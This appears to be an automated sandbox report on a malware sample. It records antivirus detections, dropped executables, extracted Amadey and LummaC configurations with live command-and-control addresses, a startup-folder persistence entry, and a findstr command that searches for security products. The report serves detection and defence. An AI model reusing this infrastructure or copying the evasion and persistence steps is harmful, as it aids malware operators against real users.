Author: Joe Security: Data: EventID: 11, Image: C:\Windows\System32\cmd.exe, ProcessId: 6676, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ZeusChat.url

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Search for Antivirus process

Source: Process started

Author: Joe Security: Data: Command: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , CommandLine|base64offset|contains: ~), Image: C:\Windows\SysWOW64\findstr.exe, NewProcessName: C:\Windows\SysWOW64\findstr.exe, OriginalFileName: C:\Windows\SysWOW64\findstr.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c copy Bukkake Bukkake.cmd && Bukkake.cmd, ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 1316, ParentProcessName: cmd.exe, ProcessCommandLine: findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" , ProcessId: 5504, ProcessName: findstr.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://peepburry828.sbs/	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com:443/apiicrosoft	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apis	Avira URL Cloud: Label: malware
Source: https://marshal-zhukov.com/apiW	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Avira: detection malicious, Label: TR/AD.Nekark.cpulw
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	Avira: detection malicious, Label: TR/AD.Nekark.cpulw
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\rodda[1].exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1320250

Found malware configuration

Source: 00000004.00000003.14043450727.0000000005570000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: vg9qcBa.exe.4948.39.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": "https://drive-connect.cyou/api", "Build Version": "FATE99--test"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\chromeum[1].exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\0fVlNye[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\1008835001\0fVlNye.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	ReversingLabs: Detection: 40%
Source: C:\Users\user\AppData\Local\Temp\1009923001\uxN4wDZ.exe	ReversingLabs: Detection: 54%
Source: C:\Users\user\AppData\Local\Temp\ChromiumData.exe	ReversingLabs: Detection: 34%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 55%
Source: C:\Users\user\AppData\Local\kreon.exe	ReversingLabs: Detection: 68%

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 55%

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1007319001\rodda.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1005824001\926085a3ba.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1009342001\VBVEd6f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\B0ZBZFKQ\VBVEd6f[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1007944001\L.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\L[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1009238001\vg9qcBa.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\46BKFKIN\vg9qcBa[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\L2D128LW\rodda[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\7LE4YNMI\uxN4wDZ[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon
Source: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=6bbef8c4b5.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	HTTP Parser: No favicon

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitor.dll
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\Newtonsoft.Json.dll
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitorWindows11.exe
Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe	Directory created: C:\Program Files\TaskbarMonitor\TaskbarMonitorInstaller.exe

Source: C:\Users\user\AppData\Local\Temp\1009882001\TaskbarMonitorInstaller.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{c7f3d760-a8d1-4fdc-9c74-41bf9112e835}

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: ChromiumData.exe.11.dr
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitor\obj\Release\TaskbarMonitor.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF77E000.00000002.00000001.01000000.00000015.sdmp, RegAsm.exe, 00000037.00000002.14534841536.000001FC3961C000.00000002.00000001.01000000.00000017.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\good\1612916fc5ef4b799f4406315a37b75e\x64\Release\LClipper.pdb source: 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\Administrator\Desktop\good\1612916fc5ef4b799f4406315a37b75e\x64\Release\LClipper.pdbq source: 926085a3ba.exe, 00000005.00000002.14168576817.000001B532C91000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000002.14169289456.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000005.00000000.14138300705.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 0000000B.00000000.14169186231.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, 926085a3ba.exe, 0000000D.00000002.14318974111.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 0000000D.00000000.14257402050.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000002.14421215483.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, 926085a3ba.exe, 00000028.00000000.14419225512.00007FF77FBBF000.00000002.00000001.01000000.00000009.sdmp, kreon.exe, 00000034.00000000.14500093550.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp, kreon.exe, 00000034.00000002.14502227475.00007FF60512F000.00000002.00000001.01000000.0000000A.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitorWindows11\obj\Release\TaskbarMonitorWindows11.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF85E000.00000002.00000001.01000000.00000015.sdmp
Source:	Binary string: C:\Users\text\Desktop\taskbar\TaskbarMonitorInstaller\obj\Release\TaskbarMonitorInstaller.pdb source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF8C3000.00000002.00000001.01000000.00000015.sdmp

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\477151
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\477151\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\

Source: chrome.exe

Memory has grown: Private usage: 9MB later: 35MB

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 185.215.113.43
Source: Malware configuration extractor	URLs: https://drive-connect.cyou/api

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping localhost -n 1

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 82.115.223.222 82.115.223.222

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Content-Security-Policydefault-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/;Persistent-AuthWWW-AuthenticateVarysteamCountry=US%7Caee1fb81cfe7b52638b083e06a894fa6; Path=/; Secure; HttpOnly; SameSite=Nonesessionid=57f6493ef8f2889d5ecb17a9; Path=/; Secure; SameSite=NoneSet-CookienginxServerRetry-AfterProxy-SupportProxy-AuthenticateP3PLocationETagAuthentication-InfoAgeAccept-RangesLast-ModifiedMon, 26 Jul 1997 05:00:00 GMTExpiresContent-RangeContent-MD5Content-LocationContent-LanguageContent-Encodingtext/html; charset=UTF-8Content-Type35135Content-LengthAllowWarningViaUpgradeTransfer-EncodingTrailerPragmaKeep-AliveFri, 29 Nov 2024 16:18:27 GMTDateProxy-ConnectioncloseConnectionno-cacheCache-Control equals www.youtube.com (Youtube)
Source: rodda.exe	String found in binary or memory: dcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.g equals www.youtube.com (Youtube)
Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.fastly.steamstatic.com/ https://cdn.fastly.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq.cn https://steambroadcastchat.akamaized.net http://127.0.0.1:27060 ws://127.0.0.1:27060; frame-src 'self' steam: https://store.steampowered.com/ https://help.steampowered.com/ https://login.steampowered.com/ https://checkout.steampowered.com/ https://www.youtube.com https://www.google.com https://sketchfab.com https://player.vimeo.com https://medal.tv https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/; frame-ancestors 'self' https://store.steampowered.com/; equals www.youtube.com (Youtube)
Source: rodda.exe	String found in binary or memory: wered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.fastly.steamstatic.com equals www.youtube.com (Youtube)
Source: rodda.exe, 0000000C.00000003.14474445988.00000000064D7000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14472584020.00000000064D9000.00000004.00000800.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14506780948.00000000064CE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)

Source: L.exe, 0000000E.00000003.14298811335.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://127.0.0.1:27060
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EBD000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EC0000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222/
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222/406315a37b75e/
Source: 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EBD000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222/o
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/%
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/3
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/5e//
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/:9
Source: 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/L
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/W
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/h9
Source: 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03CA6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/x
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164833179.000001B530EF9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://82.115.223.222:8888/1612916fc5ef4b799f4406315a37b75e/y
Source: 926085a3ba.exe, 0000000D.00000002.14316547468.00000063C5D58000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: http://82.115.2k
Source: svchost.exe, 00000012.00000003.15349727808.0000027A40981000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://Passport.NET/STS
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertCSRSA4096RootG5.crt0E
Source: rodda.exe, 0000000C.00000003.14508166750.000000000677E000.00000004.00000800.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14737308340.0000000005B76000.00000004.00000800.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14554274485.00000000038DE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: TaskbarMonitorInstaller.exe, 00000035.00000000.14524168263.000002B1CF642000.00000002.00000001.01000000.00000015.sdmp	String found in binary or memory: http://cacerts.digicert.com/NETFoundationProjectsCodeSigningCA2.crt0
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001290000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696470310.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697748512.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14661399478.000000000127E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166958533.0000027A4104B000.00000004.00000020.00020000.00000000.sdmp, vg9qcBa.exe, 00000027.00000003.14511590204.0000000000985000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gs/gstimestampingsha2g2.crl0
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/gscodesignsha2g3.crl0
Source: Reynolds.com, 00000020.00000003.14387693803.0000027C3611A000.00000004.00000001.00020000.00000000.sdmp, Selection.com, 00000032.00000003.15563644837.0000000001844000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.com/root-r3.crl0c
Source: 926085a3ba.exe, 00000005.00000002.14168270876.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 00000005.00000003.14164473908.000001B530EC3000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14278138507.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14543249992.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000002.14661617200.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14580311185.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14631475291.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, rodda.exe, 0000000C.00000003.14509974020.0000000001AA4000.00000004.00000020.00020000.00000000.sdmp, 926085a3ba.exe, 0000000D.00000002.14317543790.0000020F03C76000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000002.14887228575.0000000001290000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14325350769.0000000001281000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14735831402.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14869795564.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14298811335.0000000001296000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14696470310.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14326036374.000000000128F000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14622999980.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14697748512.000000000127E000.00000004.00000020.00020000.00000000.sdmp, L.exe, 0000000E.00000003.14661399478.000000000127E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.17166958533.0000027A4104B000.00000004.00000020.00020000.00000000.sdmp, 